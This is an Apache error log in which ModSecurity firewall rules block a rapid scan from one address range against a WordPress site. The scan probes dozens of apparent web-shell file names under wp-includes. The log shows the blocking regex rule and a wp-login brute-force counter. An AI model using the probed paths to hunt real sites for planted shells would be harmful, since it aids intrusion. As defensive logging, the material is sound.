[Sun Mar 15 04:36:13.803309 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.153:27619] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "abXGvQa8xkcaSmgTbwi6RAAAAQE"]
[Sun Mar 15 04:36:14.517442 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.116:56255] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "abXGvga8xkcaSmgTbwi6TgAAARY"]
[Sun Mar 15 04:36:14.708370 2026] [:error] [pid 38540:tid 38606] [client 98.159.43.162:59359] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "abXGvl8bnHsJ1dE90bLZFgAAAFQ"]
[Sun Mar 15 04:36:15.077741 2026] [:error] [pid 38541:tid 38630] [client 98.159.43.152:34411] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Sun Mar 15 04:36:15.292600 2026] [:error] [pid 38541:tid 38613] [client 98.159.43.152:34411] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "abXGv3uOpex8jIO0jt7AeQAAAIA"]
[Sun Mar 15 04:36:15.669206 2026] [:error] [pid 38645:tid 38670] [client 98.159.43.119:24085] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "abXGvxFPHtsDUuVrWDZLnwAAANc"]
[Sun Mar 15 04:36:16.109176 2026] [:error] [pid 38541:tid 38629] [client 98.159.43.157:44439] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "abXGwHuOpex8jIO0jt7AhgAAAJA"]
[Sun Mar 15 04:36:16.566843 2026] [:error] [pid 38645:tid 38654] [client 98.159.43.110:35215] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "abXGwBFPHtsDUuVrWDZLpgAAAMc"]
[Sun Mar 15 04:36:16.769847 2026] [:error] [pid 38536:tid 38566] [client 98.159.43.155:42621] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/chosen.php"] [unique_id "abXGwPpTEqkVJ0rBEWtqaAAAAA0"]
[Sun Mar 15 04:36:17.357129 2026] [:error] [pid 9995:tid 10004] [client 98.159.43.110:64829] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/xsec.php"] [unique_id "abXGwQa8xkcaSmgTbwi6aQAAAQY"]
[Sun Mar 15 04:36:17.602817 2026] [:error] [pid 38645:tid 38666] [client 98.159.43.146:29919] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "abXGwRFPHtsDUuVrWDZLsQAAANM"]
[Sun Mar 15 04:36:17.791463 2026] [:error] [pid 38541:tid 38628] [client 98.159.43.142:54413] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "abXGwXuOpex8jIO0jt7AlQAAAI8"]
[Sun Mar 15 04:36:18.117981 2026] [:error] [pid 38645:tid 38669] [client 98.159.43.136:44931] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "abXGwhFPHtsDUuVrWDZLtwAAANY"]
[Sun Mar 15 04:36:18.313652 2026] [:error] [pid 38540:tid 38588] [client 98.159.43.123:54359] File does not exist: /usr/local/apache/htdocs/suspended-page/goat.php
[Sun Mar 15 04:36:18.687786 2026] [:error] [pid 38540:tid 38600] [client 98.159.43.123:54359] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Sun Mar 15 04:36:20.218254 2026] [:error] [pid 38540:tid 38588] [client 98.159.43.123:54359] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "abXGxF8bnHsJ1dE90bLZQgAAAEI"]
[Sun Mar 15 04:36:20.510082 2026] [:error] [pid 38541:tid 38629] [client 98.159.43.137:42451] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "abXGxHuOpex8jIO0jt7AqQAAAJA"]
[Sun Mar 15 04:36:20.942301 2026] [:error] [pid 38540:tid 38605] [client 98.159.43.137:38009] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/log.php"] [unique_id "abXGxF8bnHsJ1dE90bLZSQAAAFM"]
[Sun Mar 15 04:36:21.184487 2026] [:error] [pid 38645:tid 38654] [client 98.159.43.154:65171] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/simi.php"] [unique_id "abXGxRFPHtsDUuVrWDZL1wAAAMc"]
[Sun Mar 15 04:36:21.620626 2026] [:error] [pid 38645:tid 38650] [client 98.159.43.144:33493] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Sun Mar 15 04:36:21.738866 2026] [:error] [pid 38645:tid 38662] [client 98.159.43.144:33493] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "abXGxRFPHtsDUuVrWDZL4wAAAM8"]
[Sun Mar 15 04:36:22.295137 2026] [:error] [pid 38540:tid 38595] [client 98.159.43.120:47743] [client 98.159.43.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.120, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "abXGxl8bnHsJ1dE90bLZUAAAAEk"]
[Sun Mar 15 04:36:22.600699 2026] [:error] [pid 38540:tid 38607] [client 98.159.43.120:47743] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "abXGxl8bnHsJ1dE90bLZVAAAAFU"]
[Sun Mar 15 04:36:22.780615 2026] [:error] [pid 38536:tid 38571] [client 98.159.43.136:48099] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "abXGxvpTEqkVJ0rBEWtqhAAAABI"]
[Sun Mar 15 04:36:23.075003 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.140:32557] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "abXGxxFPHtsDUuVrWDZL7QAAAMk"]
[Sun Mar 15 04:36:23.310314 2026] [:error] [pid 38536:tid 38570] [client 98.159.43.113:55887] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Sun Mar 15 04:36:23.438959 2026] [:error] [pid 38536:tid 38555] [client 98.159.43.113:55887] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Sun Mar 15 04:36:23.659863 2026] [:error] [pid 38536:tid 38563] [client 98.159.43.113:55887] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Sun Mar 15 04:36:23.840212 2026] [:error] [pid 38536:tid 38564] [client 98.159.43.113:55887] File does not exist: /usr/local/apache/htdocs/suspended-page/user.php
[Sun Mar 15 04:36:23.978512 2026] [:error] [pid 38536:tid 38557] [client 98.159.43.113:55887] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "abXGx_pTEqkVJ0rBEWtqkwAAAAQ"]
[Sun Mar 15 04:36:24.161272 2026] [:error] [pid 38541:tid 38621] [client 98.159.43.157:39457] File does not exist: /usr/local/apache/htdocs/suspended-page/lufix.php
[Sun Mar 15 04:36:24.289643 2026] [:error] [pid 38541:tid 38632] [client 98.159.43.157:39457] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "abXGyHuOpex8jIO0jt7AsgAAAJM"]
[Sun Mar 15 04:36:25.406001 2026] [:error] [pid 9995:tid 10011] [client 98.159.43.129:26699] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-theme-control-cron.php"] [unique_id "abXGyQa8xkcaSmgTbwi60wAAAQ0"]
[Sun Mar 15 04:36:25.797549 2026] [:error] [pid 38536:tid 38575] [client 98.159.43.156:60639] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Sun Mar 15 04:36:25.893102 2026] [:error] [pid 38536:tid 38553] [client 98.159.43.156:60639] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "abXGyfpTEqkVJ0rBEWtqnAAAAAA"]
[Sun Mar 15 04:36:26.484584 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.147:46775] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-oembed-path.php"] [unique_id "abXGyga8xkcaSmgTbwi65gAAAQw"]
[Sun Mar 15 04:36:26.921545 2026] [:error] [pid 9995:tid 9998] [client 98.159.43.110:40539] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/11.php"] [unique_id "abXGyga8xkcaSmgTbwi68AAAAQA"]
[Sun Mar 15 04:36:27.647491 2026] [:error] [pid 38645:tid 38658] [client 98.159.43.150:21933] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.tag.apetag-float.php"] [unique_id "abXGyxFPHtsDUuVrWDZMDgAAAMs"]
[Sun Mar 15 04:36:28.351336 2026] [:error] [pid 38541:tid 38634] [client 98.159.43.142:57977] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/custom.functions.1736323659.php
[Sun Mar 15 04:36:28.626607 2026] [:error] [pid 38541:tid 38615] [client 98.159.43.142:57977] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "abXGzHuOpex8jIO0jt7AxQAAAII"]
[Sun Mar 15 04:36:28.814294 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.138:24345] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-uploads.php
[Sun Mar 15 04:36:29.015101 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.138:24345] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-block-method.php"] [unique_id "abXGzRFPHtsDUuVrWDZMGgAAAME"]
[Sun Mar 15 04:36:32.900893 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.117:37269] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/search/class-wp-rest-search-handlers.php"] [unique_id "abXG0Aa8xkcaSmgTbwi7JAAAARY"]
[Sun Mar 15 04:36:33.270228 2026] [:error] [pid 38541:tid 38635] [client 98.159.43.120:62707] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/edit.php"] [unique_id "abXG0XuOpex8jIO0jt7A1gAAAJY"]
[Sun Mar 15 04:36:34.021430 2026] [:error] [pid 9995:tid 10001] [client 98.159.43.116:50257] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/zoomab.php"] [unique_id "abXG0ga8xkcaSmgTbwi7OwAAAQM"]
[Sun Mar 15 04:36:34.286991 2026] [:error] [pid 38541:tid 38631] [client 98.159.43.107:64349] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/w.php
[Sun Mar 15 04:36:34.642426 2026] [:error] [pid 38541:tid 38613] [client 98.159.43.107:64349] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Sun Mar 15 04:36:34.881709 2026] [:error] [pid 38541:tid 38634] [client 98.159.43.107:64349] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/mrs.php"] [unique_id "abXG0nuOpex8jIO0jt7A4wAAAJU"]
[Sun Mar 15 04:36:35.070879 2026] [:error] [pid 9995:tid 10001] [client 98.159.43.150:54481] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/abc.php"] [unique_id "abXG0wa8xkcaSmgTbwi7TQAAAQM"]
[Sun Mar 15 04:36:35.561188 2026] [:error] [pid 38645:tid 38657] [client 98.159.43.149:22459] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-date-query-cookie.php"] [unique_id "abXG0xFPHtsDUuVrWDZMUgAAAMo"]
[Sun Mar 15 04:36:36.023584 2026] [:error] [pid 38645:tid 38667] [client 98.159.43.105:32077] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
[Sun Mar 15 04:36:36.156577 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.105:32077] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/pp.php"] [unique_id "abXG1BFPHtsDUuVrWDZMWwAAANE"]
[Sun Mar 15 04:36:36.714474 2026] [:error] [pid 38536:tid 38565] [client 98.159.43.132:58611] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-mail.php"] [unique_id "abXG1PpTEqkVJ0rBEWtqvQAAAAw"]
[Sun Mar 15 04:36:36.909096 2026] [:error] [pid 38536:tid 38556] [client 98.159.43.113:56525] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Sun Mar 15 04:36:37.211775 2026] [:error] [pid 38536:tid 38572] [client 98.159.43.113:56525] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "abXG1fpTEqkVJ0rBEWtqwwAAABM"]
[Sun Mar 15 04:36:37.586136 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.133:26613] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "abXG1Qa8xkcaSmgTbwi7bQAAARU"]
[Sun Mar 15 04:36:37.878819 2026] [:error] [pid 38541:tid 38628] [client 98.159.43.135:58321] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "abXG1XuOpex8jIO0jt7A8QAAAI8"]
[Sun Mar 15 04:36:38.235049 2026] [:error] [pid 38645:tid 38669] [client 98.159.43.115:26913] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "abXG1hFPHtsDUuVrWDZMagAAANY"]
[Sun Mar 15 04:36:38.516604 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.136:62451] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "abXG1ga8xkcaSmgTbwi7ggAAAQ4"]
[Sun Mar 15 04:36:38.906438 2026] [:error] [pid 38541:tid 38618] [client 98.159.43.110:62841] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "abXG1nuOpex8jIO0jt7A-wAAAIU"]
[Sun Mar 15 04:36:39.197868 2026] [:error] [pid 38645:tid 38658] [client 98.159.43.140:27771] File does not exist: /usr/local/apache/htdocs/suspended-page/wikindex.php
[Sun Mar 15 04:36:39.290117 2026] [:error] [pid 38645:tid 38667] [client 98.159.43.140:27771] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "abXG1xFPHtsDUuVrWDZMdgAAANQ"]
[Sun Mar 15 04:36:39.526472 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.107:46239] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Sun Mar 15 04:36:39.615014 2026] [:error] [pid 38645:tid 38670] [client 98.159.43.107:46239] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "abXG1xFPHtsDUuVrWDZMewAAANc"]
